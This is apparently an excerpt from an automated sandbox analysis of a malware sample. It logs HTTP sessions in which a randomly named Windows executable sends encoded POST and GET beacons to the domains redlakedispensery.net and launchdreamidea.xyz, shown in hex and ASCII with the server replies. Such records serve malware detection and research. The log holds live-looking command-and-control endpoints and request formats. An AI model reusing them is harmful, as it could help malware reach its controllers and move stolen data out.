                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 4c 58 79 75 5a 7a 77 51 42 38 4f 43 51 66 6c 35 50 51 48 44 4a 70 72 33 34 71 73 6a 76 35 52 53 71 6e 70 6e 33 74 77 61 44 54 78 51 43 68 6d 70 53 30 49 59 41 6d 79 39 68 54 73 33 32 50 47 77 4b 42 73 43 4b 77 61 50 6a 77 79 30 36 47 73 71 56 36 39 41 78 6d 73 52 56 34 44 76 4f 6b 2b 57 7a 65 51 44 73 52 71 43 4f 4c 4a 61 4d 67 78 36 71 37 4f 6f 79 59 36 68 52 49 68 4b 2f 49 73 78 4d 57 58 7a 45 58 4a 6c 67 79 47 49 6e 4d 6b 34 31 34 73 67 74 44 6c 55 79 76 58 42 6e 41 36 4d 31 32 56 4b 43 78 41 76 4e 49 4f 70 71 45 38 74 69 56 65 4b 71 2f 58 36 30 68 49 4c 69 46 54 76 55 61 2b 61 33 5a 41 4c 55 43 31 36 56 32 6e 56 52 47 32 70 65 64 7a 38 56 69 5a 69 43 54 45 4b 67 66 62 6b 35 45 59 3d
                                                                                              Data Ascii: OReh1rq=LXyuZzwQB8OCQfl5PQHDJpr34qsjv5RSqnpn3twaDTxQChmpS0IYAmy9hTs32PGwKBsCKwaPjwy06GsqV69AxmsRV4DvOk+WzeQDsRqCOLJaMgx6q7OoyY6hRIhK/IsxMWXzEXJlgyGInMk414sgtDlUyvXBnA6M12VKCxAvNIOpqE8tiVeKq/X60hILiFTvUa+a3ZALUC16V2nVRG2pedz8ViZiCTEKgfbk5EY=
                                                                                              Oct 23, 2024 17:32:41.995872974 CEST608INHTTP/1.1 501 Unsupported method ('POST')
                                                                                              Server: nginx
                                                                                              Date: Wed, 23 Oct 2024 15:32:41 GMT
                                                                                              Content-Type: text/html
                                                                                              Transfer-Encoding: chunked
                                                                                              Connection: close
                                                                                              Data Raw: 31 61 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 48 54 4d 4c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 35 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 35 30 31 20 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 20 28 27 50 4f 53 54 27 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 55 6e 73 75 70 70 6f [TRUNCATED]
                                                                                              Data Ascii: 1ac<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/HTML; charset=iso-8859-15" /> <title>501 Unsupported method ('POST')</title> </head> <body> <h1>Unsupported method ('POST')</h1> <p>Server does not support this operation</p> </body></html> 0


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              3192.168.2.749902217.70.184.50805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:32:43.735579967 CEST1751OUTPOST /6u21/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.redlakedispensery.net
                                                                                              Origin: http://www.redlakedispensery.net
                                                                                              Content-Length: 1252
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.redlakedispensery.net/6u21/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 4c 58 79 75 5a 7a 77 51 42 38 4f 43 51 66 6c 35 50 51 48 44 4a 70 72 33 34 71 73 6a 76 35 52 53 71 6e 70 6e 33 74 77 61 44 54 70 51 43 58 53 70 54 58 77 59 42 6d 79 39 73 7a 73 32 32 50 47 74 4b 42 30 47 4b 77 47 31 6a 79 36 30 37 6e 4d 71 55 4c 39 41 6b 57 73 52 4a 49 44 75 41 45 2b 48 7a 65 41 66 73 52 36 43 4f 4c 4a 61 4d 68 68 36 74 6f 57 6f 77 59 36 75 46 59 68 38 75 34 73 64 4d 57 65 49 45 58 38 59 67 69 6d 49 6e 73 30 34 32 4c 49 67 33 44 6c 61 7a 76 57 55 6e 42 48 4d 31 33 35 67 43 78 46 6e 4e 49 6d 70 6f 42 49 79 2b 6b 58 54 70 2f 37 2f 6f 52 41 34 6f 7a 44 36 4d 4a 75 77 77 62 4d 6f 49 7a 73 4f 56 77 66 57 53 67 58 35 48 37 61 49 61 6e 46 78 46 6b 6c 39 38 73 58 36 6b 6a 37 30 71 4f 42 57 39 31 63 32 41 51 44 4d 4a 6b 63 74 33 42 6b 73 46 62 74 57 30 55 4f 51 44 78 62 42 35 34 50 6c 5a 72 44 6d 4f 7a 45 4a 43 46 4c 4b 69 36 55 65 33 52 47 68 71 35 49 61 66 4c 33 75 41 72 49 59 58 54 6b 41 43 41 77 44 77 47 68 77 37 64 61 77 31 30 68 46 6e 66 66 6b 39 57 75 33 6f 45 [TRUNCATED]
                                                                                              Data Ascii: OReh1rq=LXyuZzwQB8OCQfl5PQHDJpr34qsjv5RSqnpn3twaDTpQCXSpTXwYBmy9szs22PGtKB0GKwG1jy607nMqUL9AkWsRJIDuAE+HzeAfsR6COLJaMhh6toWowY6uFYh8u4sdMWeIEX8YgimIns042LIg3DlazvWUnBHM135gCxFnNImpoBIy+kXTp/7/oRA4ozD6MJuwwbMoIzsOVwfWSgX5H7aIanFxFkl98sX6kj70qOBW91c2AQDMJkct3BksFbtW0UOQDxbB54PlZrDmOzEJCFLKi6Ue3RGhq5IafL3uArIYXTkACAwDwGhw7daw10hFnffk9Wu3oEsRdHX3nwPb+UyzatwV5g/ShaCQYPUwfzhzPl9vzT6z+I9A5hzkAq6wrNq/jlzIkS2wLbXOW8HK6t+7cAJ2fgqcJPlxBzTwPEpE8v3WkDK0mI55sVKnC3i+Adh005hODnBgL/nydU5y7ssUJSWrfIsTeswIcHoYn7+Vp3XEVoNhmpMaDDpbWovmDi6PFOAZUY/HQU/HESnBT6TukJvrm889+3nBP/UQsZaILewuwhy+Cs9T0CqppQBw+82QvXbCKvjoYrvcAAXHGIbjMpV38Ln+G8CO19t9orfk7kGzeTQT8o0+tdxZBzsFT7UMciIOiK7eMxgtTS6uWNornOLxqbzTLA8yHOmeSIXEVdUv+X2WxkCWvdLBPKj+mSZg24Jx9GtUPVwFUFY5MPAFPbbFieuDIX1QKXax0jC2Jf3Y0+q2pTtgu0HK3VK4axTrkXuDSdqPLNH1350v4pk6hiLSzjTlzqYSVcwoiLV0nl9NF3wtsSzAWcM+DUwHcF4wX2aSH/q+N7HQo6qq4RzmBfo+rfKT0WMjkjQKaVkMn44n/Sg3za1tkWfDzOq4zmNamMuhHHpnxZNUxOPszfStXy3MJUdbfOAEOHgNCxX/1p6DWc60w9QakxmEzGz4WjUQUNA4ImCgVOGIl7NRvhIOFBrNEPVI+m+xoL2YEjc/ [TRUNCATED]
                                                                                              Oct 23, 2024 17:32:44.548755884 CEST608INHTTP/1.1 501 Unsupported method ('POST')
                                                                                              Server: nginx
                                                                                              Date: Wed, 23 Oct 2024 15:32:44 GMT
                                                                                              Content-Type: text/html
                                                                                              Transfer-Encoding: chunked
                                                                                              Connection: close
                                                                                              Data Raw: 31 61 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 48 54 4d 4c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 35 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 35 30 31 20 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 20 28 27 50 4f 53 54 27 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 55 6e 73 75 70 70 6f [TRUNCATED]
                                                                                              Data Ascii: 1ac<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/HTML; charset=iso-8859-15" /> <title>501 Unsupported method ('POST')</title> </head> <body> <h1>Unsupported method ('POST')</h1> <p>Server does not support this operation</p> </body></html> 0


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              4192.168.2.749917217.70.184.50805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:32:46.283209085 CEST439OUTGET /6u21/?OReh1rq=GVaOaFQ3d6G7AfxQOk7ieruxm+gnm5VVlXgM851fWwwgRz3TVn5fGEzA+wYxrv63HQoUWQChgi2b21NIV41GwDduJOaUHEyhnv8phiPJCKVCCwApj4Ws0eCXeq4Y+t0YLUqTKnAz4x3T&CvQl=nrm0ZhFpzl HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Language: en-US
                                                                                              Host: www.redlakedispensery.net
                                                                                              Connection: close
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Oct 23, 2024 17:32:47.088413954 CEST1236INHTTP/1.1 200 OK
                                                                                              Server: nginx
                                                                                              Date: Wed, 23 Oct 2024 15:32:46 GMT
                                                                                              Content-Type: text/html
                                                                                              Transfer-Encoding: chunked
                                                                                              Connection: close
                                                                                              Vary: Accept-Encoding
                                                                                              Vary: Accept-Language
                                                                                              Data Raw: 37 62 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 69 73 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 72 65 67 69 73 74 65 72 65 64 20 77 69 74 68 20 47 61 6e 64 69 2e 6e 65 74 2e 20 49 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 70 61 72 6b 65 64 20 62 79 20 74 68 65 20 6f 77 6e 65 72 2e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 72 65 64 6c 61 6b 65 64 69 73 70 65 6e 73 65 72 79 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 [TRUNCATED]
                                                                                              Data Ascii: 7b5<!DOCTYPE html><html class="no-js" lang=en> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width"> <meta name="description" content="This domain name has been registered with Gandi.net. It is currently parked by the owner."> <title>redlakedispensery.net</title> <link rel="stylesheet" type="text/css" href="main-78844350.css"> <link rel="shortcut icon" href="favicon.ico" type="image/x-icon"/> <link rel="preload" as="font" href="fonts/Montserrat-Regular.woff2" type="font/woff2" crossorigin/> <link rel="preload" as="font" href="fonts/Montserrat-SemiBold.woff2" type="font/woff2" crossorigin/> </head> <body> <div class="ParkingPage_2023-root_2dpus "><main class="OldStatic_2023-root_1AGy1 Parking_2023-root_qhMQ2"><div><article class="Parking_2023-content_1rA87"><h1 class="OldStatic_2023-title_13ceK">This domain name has been registered with Gandi.net</h1><div class="OldStatic_2023-text_37nqO Parking_2023-text_1JZys"><p><a href="ht [TRUNCATED]
                                                                                              Oct 23, 2024 17:32:47.088655949 CEST938INData Raw: 61 72 63 68 3d 72 65 64 6c 61 6b 65 64 69 73 70 65 6e 73 65 72 79 2e 6e 65 74 22 3e 3c 73 74 72 6f 6e 67 3e 56 69 65 77 20 74 68 65 20 57 48 4f 49 53 20 72 65 73 75 6c 74 73 20 6f 66 20 72 65 64 6c 61 6b 65 64 69 73 70 65 6e 73 65 72 79 2e 6e 65
                                                                                              Data Ascii: arch=redlakedispensery.net"><strong>View the WHOIS results of redlakedispensery.net</strong></a> to get the domains public registration information.</p></div><div class="Parking_2023-positionbox_2OgLh"><div class="Parking_2023-outerbox_2j18


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              5192.168.2.749933188.114.97.3805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:32:52.240686893 CEST712OUTPOST /2b9b/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.launchdreamidea.xyz
                                                                                              Origin: http://www.launchdreamidea.xyz
                                                                                              Content-Length: 220
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.launchdreamidea.xyz/2b9b/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 52 45 47 2f 4e 2b 66 43 77 53 4a 50 4c 53 61 55 6e 6e 32 6e 42 53 6b 34 61 55 56 72 6b 4d 47 53 4a 62 4a 50 6e 35 73 36 6b 4c 47 75 2b 37 6c 79 51 63 48 67 72 73 75 58 42 74 58 5a 30 56 67 50 56 63 38 33 42 32 6e 4f 61 66 4d 5a 53 5a 36 55 35 53 50 46 63 5a 54 6d 74 2b 6e 2b 4a 36 33 70 51 64 41 70 7a 30 4d 45 6f 46 6e 6a 75 4d 62 59 74 75 62 71 47 32 73 37 50 63 4c 55 4f 37 64 63 53 32 4f 67 59 48 73 6f 45 4e 54 47 59 6d 71 4b 6f 33 6d 33 2f 30 7a 58 68 6e 6b 57 51 47 68 57 57 54 47 67 57 72 30 6b 34 63 6d 75 34 6e 37 36 36 37 6e 35 46 43 37 31 68 38 54 6c 69 57 46 65 78 41 35 46 30 2f 50 50 36 2f 66 49 43 65 57 44 4a 77 3d 3d
                                                                                              Data Ascii: OReh1rq=REG/N+fCwSJPLSaUnn2nBSk4aUVrkMGSJbJPn5s6kLGu+7lyQcHgrsuXBtXZ0VgPVc83B2nOafMZSZ6U5SPFcZTmt+n+J63pQdApz0MEoFnjuMbYtubqG2s7PcLUO7dcS2OgYHsoENTGYmqKo3m3/0zXhnkWQGhWWTGgWr0k4cmu4n7667n5FC71h8TliWFexA5F0/PP6/fICeWDJw==


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              6192.168.2.749939188.114.97.3805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:32:54.785243034 CEST732OUTPOST /2b9b/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.launchdreamidea.xyz
                                                                                              Origin: http://www.launchdreamidea.xyz
                                                                                              Content-Length: 240
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.launchdreamidea.xyz/2b9b/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 52 45 47 2f 4e 2b 66 43 77 53 4a 50 4e 7a 71 55 30 55 65 6e 51 79 6b 2f 48 6b 56 72 75 73 47 57 4a 62 46 50 6e 34 34 71 6b 35 69 75 37 71 31 79 52 65 6a 67 6f 73 75 58 4b 4e 58 59 70 46 68 42 56 64 41 2f 42 30 6a 4f 61 66 49 5a 53 62 79 55 36 6a 50 43 64 4a 54 6b 35 4f 6e 34 57 71 33 70 51 64 41 70 7a 30 49 2b 6f 45 50 6a 75 35 54 59 2f 2f 62 70 50 57 73 34 47 38 4c 55 64 72 64 69 53 32 4f 43 59 47 77 57 45 49 50 47 59 6d 61 4b 6f 6d 6d 6f 78 30 7a 72 75 48 6b 48 41 31 59 46 61 54 61 6f 62 6f 70 2f 77 66 32 6f 77 78 6d 59 67 5a 72 56 62 54 44 4f 6c 2b 33 54 31 77 59 72 7a 42 39 64 35 64 37 75 6c 49 36 69 50 4d 33 48 66 45 6b 57 31 4e 78 4d 6f 74 76 46 33 62 50 69 63 6a 69 71 43 2f 38 3d
                                                                                              Data Ascii: OReh1rq=REG/N+fCwSJPNzqU0UenQyk/HkVrusGWJbFPn44qk5iu7q1yRejgosuXKNXYpFhBVdA/B0jOafIZSbyU6jPCdJTk5On4Wq3pQdApz0I+oEPju5TY//bpPWs4G8LUdrdiS2OCYGwWEIPGYmaKommox0zruHkHA1YFaTaobop/wf2owxmYgZrVbTDOl+3T1wYrzB9d5d7ulI6iPM3HfEkW1NxMotvF3bPicjiqC/8=
                                                                                              Oct 23, 2024 17:32:55.648714066 CEST942INHTTP/1.1 404 Not Found
                                                                                              Date: Wed, 23 Oct 2024 15:32:55 GMT
                                                                                              Content-Type: text/html
                                                                                              Transfer-Encoding: chunked
                                                                                              Connection: close
                                                                                              cf-cache-status: DYNAMIC
                                                                                              vary: accept-encoding
                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=INkPOlDFuUlbBNdsG1UqDBQGyZND8dojTxCdtKYVZ2N83eVaGuG%2Fh7nq9dEG%2B7O0ZDmNeFBxTWR%2Blihb6cfFg5Pj5XB2gVzJkMu0mrGhCajfIjFYPgfR1xGPbLBjM0fH1F6l0AvKtnW%2BVQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                              Server: cloudflare
                                                                                              CF-RAY: 8d72c855be244790-DFW
                                                                                              Content-Encoding: gzip
                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                              server-timing: cfL4;desc="?proto=TCP&rtt=1298&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=732&delivery_rate=0&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                              Data Raw: 37 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                              Data Ascii: 7d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyzzIy%jaC]7X0


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              7192.168.2.749946188.114.97.3805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:32:57.331754923 CEST1745OUTPOST /2b9b/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.launchdreamidea.xyz
                                                                                              Origin: http://www.launchdreamidea.xyz
                                                                                              Content-Length: 1252
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.launchdreamidea.xyz/2b9b/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 52 45 47 2f 4e 2b 66 43 77 53 4a 50 4e 7a 71 55 30 55 65 6e 51 79 6b 2f 48 6b 56 72 75 73 47 57 4a 62 46 50 6e 34 34 71 6b 35 71 75 37 39 31 79 51 2f 6a 67 70 73 75 58 48 74 58 64 70 46 68 4d 56 64 59 7a 42 30 2b 78 61 64 67 5a 52 2b 6d 55 37 57 76 43 58 4a 54 6b 37 4f 6e 35 4a 36 33 38 51 64 51 31 7a 31 34 2b 6f 45 50 6a 75 34 6a 59 38 75 62 70 44 32 73 37 50 63 4c 51 4f 37 64 5a 53 32 57 34 59 47 31 74 45 63 44 47 62 47 4b 4b 75 55 4f 6f 35 30 7a 54 70 48 6c 61 41 30 6c 64 61 54 58 54 62 72 30 71 77 64 6d 6f 67 31 50 78 37 36 7a 4a 4d 53 6a 77 69 39 7a 43 6a 44 45 6a 31 53 42 63 6e 36 58 52 6f 4a 71 61 44 4e 6a 48 4b 78 78 51 72 63 68 66 7a 64 50 6c 78 72 32 39 46 79 69 30 66 2f 45 49 53 6b 62 41 70 46 71 73 34 59 4c 76 47 58 30 49 78 4b 32 64 50 6a 4b 34 6d 39 59 6e 58 56 70 70 5a 70 6e 71 78 45 48 4e 6d 41 70 51 52 61 65 5a 74 51 49 50 7a 4a 6c 6c 53 56 71 61 7a 38 52 50 46 70 46 77 63 30 2b 34 36 4b 61 6d 32 53 49 33 45 49 4b 39 41 2f 71 4b 46 44 64 2b 32 30 65 2f 58 46 [TRUNCATED]
                                                                                              Data Ascii: OReh1rq=REG/N+fCwSJPNzqU0UenQyk/HkVrusGWJbFPn44qk5qu791yQ/jgpsuXHtXdpFhMVdYzB0+xadgZR+mU7WvCXJTk7On5J638QdQ1z14+oEPju4jY8ubpD2s7PcLQO7dZS2W4YG1tEcDGbGKKuUOo50zTpHlaA0ldaTXTbr0qwdmog1Px76zJMSjwi9zCjDEj1SBcn6XRoJqaDNjHKxxQrchfzdPlxr29Fyi0f/EISkbApFqs4YLvGX0IxK2dPjK4m9YnXVppZpnqxEHNmApQRaeZtQIPzJllSVqaz8RPFpFwc0+46Kam2SI3EIK9A/qKFDd+20e/XF7Dx0hd8JQQ6dyB/inLA88ljLyJIwVxPqGH9jbOt20uLKD8naDsjciBz8yYoqqivAqJNeE5R8+NE+8K/u4Ik1hYcp7cGUENouGd2OxupHMqLsnL0cL6XAhSo4RPewWLg3Bja+SGjrB1e3Tcehd98eundq2sKDVYQDsd52VW1BfKNneWc1/F4tIrk98W7lIc2TomVOlZlpFE/3nNgIOlxoWFJZSrlC3k8+IX2+B++ukL8aA7x09tbLZH6DLaq72baGPFiO+wAucF0C1QX+qkbUvlZZJBwWaXAyUynn2AcTL7IhuiKkZeSYnC3vCU5cBZLy3ZZ3MhRinax2hF34u6R+hz3zE6kqS5C6ck16gbeuftsh6iikzYG8h06W9PzdayPKZSghLNZmfRMGAIttp9fJkAipu/bAGPyGO3uvfyMBxqarRWVkJZMFLZOo54tkg3Lt14P7eCocQrHfEeLg6nE/XiPtiA7IExrjXs7AMyCNZ5//dw3duewvvndKBdbK+bPgyAHWqFg0tuxjQcjTNnWMbqTQs2AXOEHsU7MEIZSb0YZneZ5IdRUOMm3mDJcZrofMjEWjDbW9WPxefM4gtXXXK6AiWK/sbJ/Ov/HRpvtkqln8clhJMXweznRRiCXTNmONrkr1016XoH6RuMDPaHkAHKqOTge3P0+UcB [TRUNCATED]
                                                                                              Oct 23, 2024 17:32:58.190109015 CEST943INHTTP/1.1 404 Not Found
                                                                                              Date: Wed, 23 Oct 2024 15:32:58 GMT
                                                                                              Content-Type: text/html
                                                                                              Transfer-Encoding: chunked
                                                                                              Connection: close
                                                                                              cf-cache-status: DYNAMIC
                                                                                              vary: accept-encoding
                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RBbcnxBMoQvEYASkxLhZKo6lHwzjl1NPKdkEuEgY8bkpGYocBBVBjgs%2FUP%2BtPQKLorxoTba3rXx2rrjMBlCkCiuVf%2B5mvzQwI4Uop4mRwMzGvTZzK8d%2FsijJs25H6r8C9eV6jMR6c6xAxg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                              Server: cloudflare
                                                                                              CF-RAY: 8d72c8659971e75a-DFW
                                                                                              Content-Encoding: gzip
                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                              server-timing: cfL4;desc="?proto=TCP&rtt=1985&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1745&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                              Data Raw: 37 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                              Data Ascii: 7d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyzzIy%jaC]7X0


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              8192.168.2.749953188.114.97.3805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:32:59.878454924 CEST437OUTGET /2b9b/?CvQl=nrm0ZhFpzl&OReh1rq=cGufOJH0xlNic3+8ylCPTRRPYDBZneW0GcYDw7JK4Ijf+YRDc8nYj/foYKrurxlxMPIBZUG8OdJWDJilyjG8KsiFsJaKJojJJc8folsNnUfsqIHZ9MXgGXoTKP3Wf+FrY268bUo4cMTQ HTTP/1.1
